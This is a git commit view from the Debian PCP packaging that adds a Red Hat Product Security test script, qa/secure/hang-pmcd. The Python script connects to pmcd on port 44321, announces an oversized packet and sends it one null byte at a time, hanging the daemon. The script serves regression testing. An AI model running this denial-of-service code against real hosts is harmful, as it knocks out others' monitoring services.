diff options
author | Igor Pashev <pashev.igor@gmail.com> | 2014-10-26 12:33:50 +0400 |
---|---|---|
committer | Igor Pashev <pashev.igor@gmail.com> | 2014-10-26 12:33:50 +0400 |
commit | 47e6e7c84f008a53061e661f31ae96629bc694ef (patch) | |
tree | 648a07f3b5b9d67ce19b0fd72e8caa1175c98f1a /qa/secure/hang-pmcd | |
download | pcp-debian.tar.gz |
Debian 3.9.10debian/3.9.10debian
Diffstat (limited to 'qa/secure/hang-pmcd')
-rwxr-xr-x | qa/secure/hang-pmcd | 26 |
1 files changed, 26 insertions, 0 deletions
diff --git a/qa/secure/hang-pmcd b/qa/secure/hang-pmcd new file mode 100755 index 0000000..4084ae4 --- /dev/null +++ b/qa/secure/hang-pmcd @@ -0,0 +1,26 @@ +# +# usage: python hang-pmcd HOST +# +# Connects to pmcd on HOST and blocks all further processing. +# +# Florian Weimer / Red Hat Product Security Team +# +import socket +import sys +import time +_, host = sys.argv +while True: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect((host, 44321)) + sock.send(str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")) + pkt = str('\x00\x00\xff\xff\x00\x00p\x03\x00\x00\x00\x01') + sock.send(pkt) + for x in range(0xFFFF - len(pkt)): + time.sleep(3) + sock.send(str("\x00")) + sock.close() + except socket.error, e: + print "hang-pmcd: socket error:", e + time.sleep(1) + |